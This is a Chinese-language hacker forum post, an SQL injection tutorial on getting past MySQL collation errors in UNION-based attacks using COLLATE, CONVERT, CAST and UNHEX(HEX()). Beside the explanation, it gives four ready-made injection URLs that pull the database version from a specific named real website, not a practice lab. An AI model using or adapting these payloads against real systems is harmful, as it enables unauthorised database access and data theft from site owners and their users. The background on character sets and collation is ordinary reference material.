搜索
查看: 901|回复: 0

SQL Injection Tutorial,Part 1

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-2-15 11:01:14 | 显示全部楼层 |阅读模式
背景
       排序(collation)是指一组确定数据进行排序和比较的规则。字符数据使用定义正确字符序列的规则和用于指定区分大小写,重音符号,字符类型和字符宽度的选项进行排序。
       排序关键点在于sql Server如何解析字符数据,因为很多人使用除英语外其他语言的MySQL并用它们存储数据,他们需要选择比较的规则取决于存储这些数据所使用的字符集。
       在MySQL中,数据使用特定的字符集进行存储,可在不同层次定义存储,即:服务器,数据库,表和列。
        使用union select我们可以结合两个或多个select语句的结果集。我们已经知道,UNION中的每个SELECT语句必须有相同数量的列,列也必须有类似的数据类型。他们的排列顺序必须相同!!!如果它们是不同的,我们将会得到一个错误。
        示例如下:
  1. http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,version(),3,4,5,6,7,8--
复制代码
         因此我们如何克服这些问题?这里有几种不同的选择。

1.定义COLLATE
           SELECT * FROM table ORDER BY somekey COLLATE latin1_general_ci;
           我们可以使用不同的排序规则的名称:
  1. latin1_general_ci
  2. utf8_general_ci
  3. utf8_unicode_ci
  4. latin1_german1_ci
  5. latin1_swedish_ci
  6. *********
  7. *********
复制代码
     在_ci结尾的名称表示不区分大小写的排序规则。
         在_cs结尾的名称不是区分大小写的排序规则。
         在_bin结尾的名称表示二进制排序的排序规则。字符比较基于字符的二进制代码值。
2.使用CONVERT函数
          CONVERT()提供了一种在不同的字符集间转换数据的方法。语法是:
            CONVERT(表达式 USING 转码名称)
           例子:
  1. http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,convert(version() using binary),3,4,5,6,7,8--
复制代码
3.使用CAST函数
          您也可以使用CAST()将字符串转换到不同的字符集。
          语法是:           CAST(字符_字符串 AS 字符数据类型 CHARACTER SET 字符集名称)
           例子
  1. http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,cast(version() as binary),3,4,5,6,7,8--
复制代码
4.使用UNHEX(HEX(XX))函数
UNHEX()返回包含十六进制表达的字符串
HEX()  返回小数或字符串值的十六进制表示


例子

  1. http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,UNHEX(HEX(version())),3,4,5,6,7,8--
复制代码


From:http://forum.sqliwiki.com/showthread.php?tid=44
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表